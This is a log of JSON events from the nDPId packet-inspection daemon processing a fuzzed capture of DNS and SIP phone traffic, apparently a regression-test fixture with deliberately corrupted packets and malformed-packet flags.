+00463{"flow_id":201,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":535,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470831,"pkt_ts_usec":400867,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEa7IAAIARS6PAqAECwKgBAQrxADUAMKq2ehcAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAQAwAAQ=="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":535,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1120470831400,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2801,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":16396,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":201,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":536,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470831,"pkt_ts_usec":402371,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CvEAR40yeheAAAABAAEAAAAAATEBMCVzADEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00684{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":536,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":2,"flow_first_seen":1120470831400,"flow_last_seen":1120470831402,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2801,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":16396,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00993{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":537,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470831,"pkt_ts_usec":403943,"pkt_caplen":508,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":508,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAHua7MAJXMAFYzAqAEC1PIhIxPEE8QB2oO4UkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMjY5MzY5tDUtNDc5ZTgzZjExOTIuMTY4LjEuMjtycG9ydA0KRnJvbTogPHNpcDozNTEwNDcyM0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9MTliMDYxNA0KVG86IDxzaXA6MzUxMDQ3MjNAc2lwLmN5YmVyY2l0eS5kaz4NCkNhbGwtSUQ6IDI5ODU4MTQ3LTQ2NWIwNzUyQDI5ODU4MDUxLTQ2NWIwN2IyDQpDb250YWN0OiBwZWwgPHNpcDozNTEwNDcyM0AxOTIuMTY4LjEuMjo1MDYwO2xpbmU9N2QzNjU1OGYzMTM2NzA1MT47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDMgUkVHSVNURVINCkNvbnRlbnQtTGVuZ3RoOiAwDQpNYXgtRm9yd2FyZHM6IDcwDQpVc2VyLUFnZW50OiBOZXJvIFNJUFBTIElQIFBob25lIFZlcnNpb2wgMi4wLjUxLjE2DQoNCg=="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":537,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":474} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":538,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1120470831516,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2568,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":202,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":538,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470831,"pkt_ts_usec":516024,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODsAW69CABFAABIa7QAAIARS53AqAECwKgBAQoIADUANBq8DxcBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":538,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1120470831516,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2568,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":540,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":1120470832512,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2802,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":203,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470832,"pkt_ts_usec":512194,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa7UAAIARS5zAqAECwKgBAQryADUANBq8DxcBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":540,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":1120470832512,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2802,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":541,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":1120470834515,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":18162,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":204,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470834,"pkt_ts_usec":515187,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa7YAAIARS5vAqAECwKgBAUbyADUANBq8DxcBAAABRwAAAAAABF9zaXAEX3VkcANzaXAJY3loZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":203,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470836,"pkt_ts_usec":517879,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa7cAAIARS5rAqAECwKgBAQryADUANBq8DxcBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00659{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":545,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":1120470834515,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":18162,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":545,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":1120470834515,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":18162,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":545,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1120470831516,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2568,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":203,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470840,"pkt_ts_usec":523569,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa7gAAIARS5nAqAECwKgBAQryADUANBq8DxcBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":546,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1120470848525,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2803,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":205,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470848,"pkt_ts_usec":525656,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW5iCABFAABEa7kAAIARS5zAqAECwKgBAQrzADUAMMmyWxkAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":546,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1120470848525,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2803,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":205,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470848,"pkt_ts_usec":527232,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CvMAR6wuWxmAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAMMAAcAMAAyeAQAAJxAACwlsb2NhbGhvc3QA"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":547,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":2,"flow_first_seen":1120470848525,"flow_last_seen":1120470848527,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2803,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":549,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1120470848643,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2804,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":206,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":549,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470848,"pkt_ts_usec":643645,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIW7sAAIARS5bAqAECwKgBAQr0ADUANOq3PxkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":549,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1120470848643,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2804,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00826{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":551,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470848,"pkt_ts_usec":686860,"pkt_caplen":382,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":382,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CAA\/AAFwa7wAAIARFgHAeQEC1PIhIxPEE8QBXMMEQUNLIHNpcDowMDk3MjM5Mjg3MDQ0QHNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KRnJvbTogImFyaWsiIDxzaXA6MzUxMDQ3MjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTE3NWExZGQNbENhbGwtSUQ6IDI0NDg3MzkxLTQ0OWJmMmEwQDE5Mi4xNjguMS4yDQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNjguMS4yOjUwNjA7YnJhbmNoPXo5aEc0YktucDI0NDY2NDAyLTQ1ZGM2MWQ1MTkyLjE2OC4xLjI7cnBvcnQNClRvOiA8c2lwOjAwOTcyMzkyODcwNDRAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTBMLTA0JXMALTE3MDFiOWEwLTEzYzkyYTY3Mg0KQ1NlcTogMSBBQ0sNCkNvbnRlbnQtTGVuZ3RoOiAwDQoNCg=="} +00166{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":551,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048} +00467{"flow_id":206,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470849,"pkt_ts_usec":636660,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa70AAIARS5TAqAECwKgBAQr0ADUANOq3JXMAAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJj6XR5AmRrAAAhAAE="} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":553,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":4,"flow_first_seen":1120470233796,"flow_last_seen":1120470242804,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2764,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":206,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":553,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470851,"pkt_ts_usec":639615,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa74AAIARS5PAqAECwKgBAQr0ADUANOq3PxkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":554,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470853,"pkt_ts_usec":642421,"pkt_caplen":86,"pkt_type":2136,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CFhFAABIa78AAIARS5LAqAECwKgBAQr0ADUANOq3PxkBAAABAAAAAAAABF9zaXAET3VkcANzaXAJY3liZXJjaXR5AuRrAFchAAE="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":554,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":2136} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":555,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470857,"pkt_ts_usec":648279,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAABJa8QAAIARS43AqAECwKgBAQr0ADUANOq3PxkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":555,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00671{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":556,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":2,"flow_first_seen":1120470251907,"flow_last_seen":1120470253909,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2766,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":556,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":2,"flow_first_seen":1120470251907,"flow_last_seen":1120470253909,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2766,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":556,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":1120470865650,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2805,"dst_port":51,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":207,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470865,"pkt_ts_usec":650089,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEa8UAAIARS5DAqAECwKgBAQr1ADMAMFWvzyVzAAABAAAAAAAAATEBMAEwAzEyNwdpbj1hZGRyBGFmcGEAAAwAAQ=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":557,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":1120470865651,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2805,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":208,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":557,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470865,"pkt_ts_usec":651601,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CvUARzgrzxqAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsbmNhbGhvc3QA"} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":557,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":1120470865651,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2805,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":559,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":1120470865712,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2806,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":209,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470865,"pkt_ts_usec":712571,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa8cAAIARS4rAqAECwKgBAQr2ADUANKezghsBAAABAAAAAAAABF9zaU0EX3VkcANzaXAJY3tiZXJbaXRNAmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":559,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":1120470865712,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2806,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sim._udp.sip.c_ber_itm.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} 